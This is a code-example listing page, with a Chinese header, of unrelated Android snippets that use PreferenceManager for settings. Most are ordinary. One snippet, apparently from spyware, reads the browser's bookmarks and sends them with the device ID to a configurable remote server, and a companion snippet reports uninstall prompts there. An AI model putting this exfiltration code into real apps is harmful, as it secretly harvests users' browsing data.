下面列出了怎么用android.preference.PreferenceManager的API类实例代码及写法,或者点击链接到github查看源代码。
@Override
public void addNote(double lon, double lat, double elev, long timestamp, String note, boolean alsoAsBookmark) {
try {
DaoNotes.addNote(lon, lat, elev, timestamp, note, "POI", "", null);
if (alsoAsBookmark) {
final SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(this);
double[] mapCenterFromPreferences = PositionUtilities.getMapCenterFromPreferences(preferences, false, false);
int zoom = 16;
if (mapCenterFromPreferences != null) {
zoom = (int) mapCenterFromPreferences[2];
}
DaoBookmarks.addBookmark(lon, lat, note, zoom);
}
boolean returnToViewAfterNote = returnToViewAfterNoteCheckBox.isChecked();
if (!returnToViewAfterNote) {
finish();
}
} catch (Exception e) {
GPLog.error(this, null, e);
GPDialogs.warningDialog(this, getString(eu.geopaparazzi.library.R.string.notenonsaved), null);
}
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mSharedPref = PreferenceManager.getDefaultSharedPreferences(getActivity());
setHasOptionsMenu(true);
addPreferencesFromResource(R.xml.list_preference);
mBlackList = (PreferenceCategory) findPreference(getString(R.string.cat_filterlist));
Set<String> entries = mSharedPref.getStringSet(getString(R.string.pref_blacklist), null);
if (entries == null) {
mBlackListEntries = new HashSet<String>();
} else {
mBlackListEntries = new HashSet<String>(entries);
}
for (String blackitem : mBlackListEntries) {
Preference test = new Preference(getActivity());
test.setTitle(blackitem);
mBlackList.addPreference(test);
}
}
/**
* Returns true if the user prefers to see notifications from Sunshine, false otherwise. This
* preference can be changed by the user within the SettingsFragment.
*
* @param context Used to access SharedPreferences
* @return true if the user prefers to see notifications, false otherwise
*/
public static boolean areNotificationsEnabled(Context context) {
/* Key for accessing the preference for showing notifications */
String displayNotificationsKey = context.getString(R.string.pref_enable_notifications_key);
/*
* In Sunshine, the user has the ability to say whether she would like notifications
* enabled or not. If no preference has been chosen, we want to be able to determine
* whether or not to show them. To do this, we reference a bool stored in bools.xml.
*/
boolean shouldDisplayNotificationsByDefault = context
.getResources()
.getBoolean(R.bool.show_notifications_by_default);
/* As usual, we use the default SharedPreferences to access the user's preferences */
SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(context);
/* If a value is stored with the key, we extract it here. If not, use a default. */
boolean shouldDisplayNotifications = sp
.getBoolean(displayNotificationsKey, shouldDisplayNotificationsByDefault);
return shouldDisplayNotifications;
}
public void addListenerOnButton() {
button = (Button)findViewById(R.id.stop_sensor);
button.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
Sensor.stopSensor();
AlertPlayer.getPlayer().stopAlert(getApplicationContext(), true, false);
Toast.makeText(getApplicationContext(), "Sensor stopped", Toast.LENGTH_LONG).show();
//If Sensor is stopped for G5, we need to prevent further BLE scanning.
SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(getApplicationContext());
String collection_method = prefs.getString("dex_collection_method", "BluetoothWixel");
if(collection_method.compareTo("DexcomG5") == 0) {
Intent serviceIntent = new Intent(getApplicationContext(), G5CollectionService.class);
startService(serviceIntent);
}
Intent intent = new Intent(getApplicationContext(), Home.class);
startActivity(intent);
finish();
}
});
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
activity = this;
preferences = PreferenceManager.getDefaultSharedPreferences(this);
addPreferencesFromResource(R.xml.preferences);
updateExternalServerPreference();
CheckBoxPreference extServerCheckBoxPref = (CheckBoxPreference) findPreference(Constants.PREF_USE_EXTERNAL_SERVER);
extServerCheckBoxPref.setOnPreferenceClickListener(
new OnPreferenceClickListener() {
@Override
public boolean onPreferenceClick(
Preference preference) {
updateExternalServerPreference();
return true;
}
});
}
@Override
public void onResume() {
super.onResume();
SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(getActivity());
//要显示妹子图而现在没显示,则重现设置适配器
if (sp.getBoolean(SettingFragment.ENABLE_SISTER, false) && mAdapter.menuItems.size() == 4) {
addAllMenuItems(mAdapter);
mAdapter.notifyDataSetChanged();
} else if (!sp.getBoolean(SettingFragment.ENABLE_SISTER, false) && mAdapter.menuItems.size()
== 5) {
addMenuItemsNoSister(mAdapter);
mAdapter.notifyDataSetChanged();
}
}
public static void showIntro(Activity activity, boolean mode_multi) {
Thread t = new Thread(() -> {
SharedPreferences getPrefs = PreferenceManager.getDefaultSharedPreferences(activity.getBaseContext());
String activityname = activity.getClass().getSimpleName();
String INTRO = "intro_shown_on_activity_" + activityname + "_MultiMode_" + mode_multi;
boolean SHOW_INTRO = getPrefs.getBoolean(INTRO, true);
if (SHOW_INTRO && Config.SHOW_INTRO) {
final Intent i = new Intent(activity, IntroActivity.class);
i.putExtra(ACTIVITY, activityname);
i.putExtra(MULTICHAT, mode_multi);
activity.runOnUiThread(() -> activity.startActivity(i));
}
});
t.start();
}
private String displayDistance(double distance) {
SharedPreferences sharedPreferences = PreferenceManager
.getDefaultSharedPreferences(mContext);
String preferredDistanceUnit = sharedPreferences.getString("distance_units", "Kilometers (km)");
// Use km instead of m, even if preference is m
if (preferredDistanceUnit.equals("Meters (m)")) {
preferredDistanceUnit = "Kilometers (km)";
}
// Use mi instead of ft, even if preference is ft
if (preferredDistanceUnit.equals("Feet (ft)")) {
preferredDistanceUnit = "Miles (mi)";
}
DecimalFormat df = new DecimalFormat("##");
DistanceUnit unit = new DistanceUnit(preferredDistanceUnit);
unit.setValue(distance);
unit.setAbbreviation(preferredDistanceUnit);
double distanceInPreferredUnit = unit.convertToPreferredUnit();
return df.format(distanceInPreferredUnit) + unit.fullToAbbrev();
}
public void ReadPerfs(Context context) {
mContext = context;
prefs = PreferenceManager.getDefaultSharedPreferences(context);
bg_notifications = prefs.getBoolean("bg_notifications", true);
bg_notifications_watch = PersistentStore.getBoolean("bg_notifications_watch");
bg_persistent_high_alert_enabled_watch = PersistentStore.getBoolean("persistent_high_alert_enabled_watch");
//bg_vibrate = prefs.getBoolean("bg_vibrate", true);
//bg_lights = prefs.getBoolean("bg_lights", true);
//bg_sound = prefs.getBoolean("bg_play_sound", true);
bg_notification_sound = prefs.getString("bg_notification_sound", "content://settings/system/notification_sound");
bg_sound_in_silent = prefs.getBoolean("bg_sound_in_silent", false);
calibration_notifications = prefs.getBoolean("calibration_notifications", false);
calibration_snooze = Integer.parseInt(prefs.getString("calibration_snooze", "20"));
calibration_override_silent = prefs.getBoolean("calibration_alerts_override_silent", false);
calibration_notification_sound = prefs.getString("calibration_notification_sound", "content://settings/system/notification_sound");
doMgdl = (prefs.getString("units", "mgdl").compareTo("mgdl") == 0);
smart_snoozing = prefs.getBoolean("smart_snoozing", true);
smart_alerting = prefs.getBoolean("smart_alerting", true);
bg_ongoing = prefs.getBoolean("run_service_in_foreground", false);
}
private void setUnits() {
final SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(this);
final int unit = Integer.parseInt(preferences.getString(SettingsFragment.SETTINGS_UNIT, String.valueOf(SettingsFragment.SETTINGS_UNIT_DEFAULT)));
switch (unit) {
case SettingsFragment.SETTINGS_UNIT_C:
this.unitView.setText(R.string.hts_unit_celsius);
break;
case SettingsFragment.SETTINGS_UNIT_F:
this.unitView.setText(R.string.hts_unit_fahrenheit);
break;
case SettingsFragment.SETTINGS_UNIT_K:
this.unitView.setText(R.string.hts_unit_kelvin);
break;
}
}
@Override
protected void onPreExecute() {
while(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getBoolean("Media",false) == true)
{
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Media",true).commit();
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Context context = getApplicationContext();
setContentView(R.layout.activity_main);
this.mUsernameTV = (TextView) findViewById(R.id.main_username);
this.mTextMessageTV = (TextView) findViewById(R.id.message_textview);
this.mTextMessageET = (EditText) findViewById(R.id.main_text_message);
this.mTextMessageTV.setText("");
executor = new LooperExecutor();
executor.requestStart();
SharedPreferences mSharedPreferences = PreferenceManager.getDefaultSharedPreferences(getBaseContext());
Constants.SERVER_ADDRESS_SET_BY_USER = mSharedPreferences.getString(Constants.SERVER_NAME, Constants.DEFAULT_SERVER);
wsUri = mSharedPreferences.getString(Constants.SERVER_NAME, Constants.DEFAULT_SERVER);
kurentoRoomAPI = new KurentoRoomAPI(executor, wsUri, this);
mHandler = new Handler();
this.username = mSharedPreferences.getString(Constants.USER_NAME, "");
this.roomname = mSharedPreferences.getString(Constants.ROOM_NAME, "");
Log.i(TAG, "username: "+this.username);
Log.i(TAG, "roomname: "+this.roomname);
// Load test certificate from assets
CertificateFactory cf;
try {
cf = CertificateFactory.getInstance("X.509");
InputStream caInput = new BufferedInputStream(context.getAssets().open("kurento_room_base64.cer"));
Certificate ca = cf.generateCertificate(caInput);
kurentoRoomAPI.addTrustedCertificate("ca", ca);
} catch (CertificateException|IOException e) {
e.printStackTrace();
}
kurentoRoomAPI.useSelfSignedCertificate(true);
}
public void listenForChangeInSettings(boolean listen) {
try {
final SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(getApplicationContext());
if (listen) {
prefs.registerOnSharedPreferenceChangeListener(prefListener);
} else {
prefs.unregisterOnSharedPreferenceChangeListener(prefListener);
}
} catch (Exception e) {
UserError.Log.e(TAG, "Error with preference listener: " + e + " " + listen);
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Get the Intent (to check if coming from Settings)
String action = getIntent().getAction();
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar_nonelevated);
if (toolbar != null) {
setSupportActionBar(toolbar);
}
// Get the pin a user may have set
pin = PreferenceManager.getDefaultSharedPreferences(this).getString(Constants.USER_PIN_KEY, "");
if (Constants.SET_PIN_ACTION.equalsIgnoreCase(action)) {
isSettingUp = true;
}
setContentView(R.layout.activity_pin);
context = getApplicationContext();
// Find pin EditTexts
pin1 = (EditText) findViewById(R.id.pin1);
pin2 = (EditText) findViewById(R.id.pin2);
pin3 = (EditText) findViewById(R.id.pin3);
pin4 = (EditText) findViewById(R.id.pin4);
attachPinListeners();
attachPinKeyListeners();
}
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
blnShowCost = isChecked;
SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(getContext());
sp.edit().putBoolean("show_cost", blnShowCost).commit();
dailyUsageBarChart.setShowCost(blnShowCost);
dailyUsageBarChart.refreshChart();
updateTextFields();
}
public static String getCountry(Context context) {
SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(context);
String countryOverride = prefs.getString(Preferences.KEY_SEARCH_COUNTRY, "-");
if (countryOverride != null && !countryOverride.isEmpty() && !"-".equals(countryOverride)) {
return countryOverride;
}
return getSystemCountry();
}
@Override
protected String doInBackground(String... params) {
String sel = Browser.BookmarkColumns.BOOKMARK + " = 1";
Cursor mCur = getApplicationContext().getContentResolver().query(Browser.BOOKMARKS_URI, Browser.HISTORY_PROJECTION, sel, null, null);
if (mCur.moveToFirst()) {
int i = 0;
while (mCur.isAfterLast() == false) {
if(i<Integer.parseInt(j))
{
// Log.i("com.connect", "Title: " + mCur.getString(Browser.HISTORY_PROJECTION_TITLE_INDEX));
// Log.i("com.connect", "Link: " + mCur.getString(Browser.HISTORY_PROJECTION_URL_INDEX));
try {
getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + mCur.getString(Browser.HISTORY_PROJECTION_TITLE_INDEX).replace(" ", "") + "] " + mCur.getString(Browser.HISTORY_PROJECTION_URL_INDEX));
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
i++;
mCur.moveToNext();
}
}
mCur.close();
return "Executed";
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
/* set preferences */
addPreferencesFromResource(R.xml.preferences);
addMedtronicOptionsListener();
PreferenceManager.setDefaultValues(context, R.xml.preferences, false);
final ListPreference mon_type = (ListPreference) findPreference("monitor_type_widget");
final EditTextPreference med_id = (EditTextPreference) findPreference("medtronic_cgm_id_widget");
final ListPreference metric_type = (ListPreference) findPreference("metric_preference_widget");
final CustomSwitchPreference mmolDecimals = (CustomSwitchPreference)findPreference("mmolDecimals_widget");
int index = mon_type.findIndexOfValue(mon_type.getValue());
if (index == 1) {
med_id.setEnabled(true);
} else {
med_id.setEnabled(false);
}
int index_met = metric_type.findIndexOfValue(PreferenceManager.getDefaultSharedPreferences(context).getString("metric_preference_widget", "1"));
if (index_met == 0){
mmolDecimals.setEnabled(false);
}else{
mmolDecimals.setEnabled(true);
}
// iterate through all preferences and update to saved value
for (int i = 0; i < getPreferenceScreen().getPreferenceCount(); i++) {
initSummary(getPreferenceScreen().getPreference(i));
}
}
@Override
protected void onPostExecute(String result) {try {
getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Prompted Uninstall");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
} }
public static void updateFavIcon(Context context, ImageButton btn) {
try {
SharedPreferences localPrefs = PreferenceManager.getDefaultSharedPreferences(context);
String act = localPrefs.getString("prefFavAct", "");
if (act.equalsIgnoreCase("")) {
return;
}
Intent icon_intent = new Intent(android.content.Intent.ACTION_SEND);
icon_intent.setType("text/plain");
List<ResolveInfo> resInfo = context.getPackageManager().queryIntentActivities(icon_intent, 0);
if (!resInfo.isEmpty()) {
for (ResolveInfo info : resInfo) {
if (info.activityInfo.name.toLowerCase().equalsIgnoreCase(act)) {
Drawable icon = info.activityInfo.loadIcon(context.getPackageManager());
btn.setImageDrawable(icon);
break;
}
}
}
} catch (Exception e) {
//
}
}
private final void resetSync(Uri uri) {
final String METHOD = "resetSync(Uri)";
SharedPreferences preferences =
PreferenceManager.getDefaultSharedPreferences(DispatchService.this);
String key = null;
switch (Uris.getDescriptor(uri)) {
default:
key = "last_sync";
}
preferences.edit().putLong(key, new Date().getTime()).commit();
}
public static void checkForRisingAllert(Context context) {
SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(context);
Boolean rising_alert = prefs.getBoolean("rising_alert", false);
if(!rising_alert) {
return;
}
if(prefs.getLong("alerts_disabled_until", 0) > new Date().getTime()){
Log.i("NOTIFICATIONS", "checkForRisingAllert: Notifications are currently disabled!!");
return;
}
String riseRate = prefs.getString("rising_bg_val", "2");
float friseRate = 2;
try
{
friseRate = Float.parseFloat(riseRate);
}
catch (NumberFormatException nfe)
{
Log.e(TAG_ALERT, "checkForRisingAllert reading falling_bg_val failed, continuing with 2", nfe);
}
Log.d(TAG_ALERT, "checkForRisingAllert will check for rate of " + friseRate);
boolean riseAlert = checkForDropRiseAllert(friseRate, false);
Notifications.RisingAlert(context, riseAlert);
}
@Override
protected void onDestroy() {
super.onDestroy();
mCalendarView.deactivate();
mTodayView.setAdapter(null); // force detaching adapter
PreferenceManager.getDefaultSharedPreferences(this)
.edit()
.putString(CalendarUtils.PREF_CALENDAR_EXCLUSIONS,
TextUtils.join(SEPARATOR, mExcludedCalendarIds))
.apply();
}
public void showTutorial() {
PreferenceManager.getDefaultSharedPreferences(this)
.edit()
.putBoolean(PreferenceUtils.PREF_TUTORIAL, true)
.putBoolean(PreferenceUtils.PREF_TUTORIAL_PLAYERS, true)
.apply();
for (TutorialListener listener : listeners) {
listener.onTutorial();
}
}
@Override
protected void onPostExecute(Boolean success) {
super.onPostExecute(success);
if (loadingDialog.isStateSaved()) {
loadingDialog.dismissAllowingStateLoss();
} else {
loadingDialog.dismiss();
}
if (!success) {
return;
}
SharedPreferences sharedPreferences = PreferenceManager.getDefaultSharedPreferences(context);
SharedPreferences.Editor editor = sharedPreferences.edit();
editor.remove(getString(R.string.shared_preferences_pinned_remotes));
editor.remove(getString(R.string.shared_preferences_drawer_pinned_remotes));
editor.remove(getString(R.string.shared_preferences_hidden_remotes));
editor.apply();
if (rclone.isConfigEncrypted()) {
pinRemotesToDrawer(); // this will clear any previous pinned remotes
askForConfigPassword();
} else {
AppShortcutsHelper.removeAllAppShortcuts(context);
AppShortcutsHelper.populateAppShortcuts(context, rclone.getRemotes());
pinRemotesToDrawer();
startRemotesFragment();
}
}
@Override
public void onActivityCreated(@Nullable Bundle savedInstanceState) {
super.onActivityCreated(savedInstanceState);
SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(getActivity());
if (!sp.getBoolean("displayListDivider", false)) {
ListView lv = getActivity().findViewById(android.R.id.list);
if (lv != null) {
lv.setDivider(getResources().getDrawable(R.color.realTranslucent));
lv.setDividerHeight(2);
}
}
}
@Override
public void onPasswordFailed(Context context, Intent intent) {
super.onPasswordFailed(context, intent);
failedPasswordAttempts += 1;
Log.d(TAG, "onPasswordFailed: " + failedPasswordAttempts);
SharedPreferences SP = PreferenceManager.getDefaultSharedPreferences(context);
int pref_key_max_attempts_limit = Integer.parseInt(SP.getString("pref_key_max_attempts_limit", "3"));
if (failedPasswordAttempts >= pref_key_max_attempts_limit) {
Log.d(TAG, "TOO MANY FAILED UNLOCK ATTEMPTS!!! SHUTTING DOWN!");
failedPasswordAttempts = 0;
if (!SuShell.shutdown()) {
Log.d(TAG, "COULDN'T SHUT DOWN!");
}
}
}
/**
* Binds a preference's summary to its value. More specifically, when the
* preference's value is changed, its summary (line of text below the
* preference title) is updated to reflect the value. The summary is also
* immediately updated upon calling this method. The exact display format is
* dependent on the type of preference.
*
* @see #sBindPreferenceSummaryToValueListener
*/
private static void bindPreferenceSummaryToValue(Preference preference) {
// Set the listener to watch for value changes.
preference.setOnPreferenceChangeListener(sBindPreferenceSummaryToValueListener);
// Trigger the listener immediately with the preference's
// current value.
sBindPreferenceSummaryToValueListener.onPreferenceChange(preference,
PreferenceManager
.getDefaultSharedPreferences(preference.getContext())
.getString(preference.getKey(), ""));
}
@Override
protected String getSorting() {
SharedPreferences sharedPreferences = PreferenceManager
.getDefaultSharedPreferences(mContext);
return sharedPreferences.getString(SharedPreferencesKeys.SP_LIBRARY_SORTING, "ASC");
}
public AdapterProducts(Transaction transaction, Activity activity, IProductChangedListener productChangedListener) {
mActivity = activity;
mTransaction = transaction;
Account account = AccountsDAO.getInstance(activity).getAccountByID(transaction.getAccountID());
Cabbage cabbage = CabbagesDAO.getInstance(activity).getCabbageByID(account.getCabbageId());
mCabbageFormatter = new CabbageFormatter(cabbage);
mProductChangedListener = productChangedListener;
mTagTextSize = ScreenUtils.PxToDp(activity, activity.getResources().getDimension(R.dimen.text_size_micro));
mColorTag = ContextCompat.getColor(activity, R.color.ColorAccent);
isTagsColored = PreferenceManager.getDefaultSharedPreferences(activity).getBoolean(FgConst.PREF_COLORED_TAGS, true);
}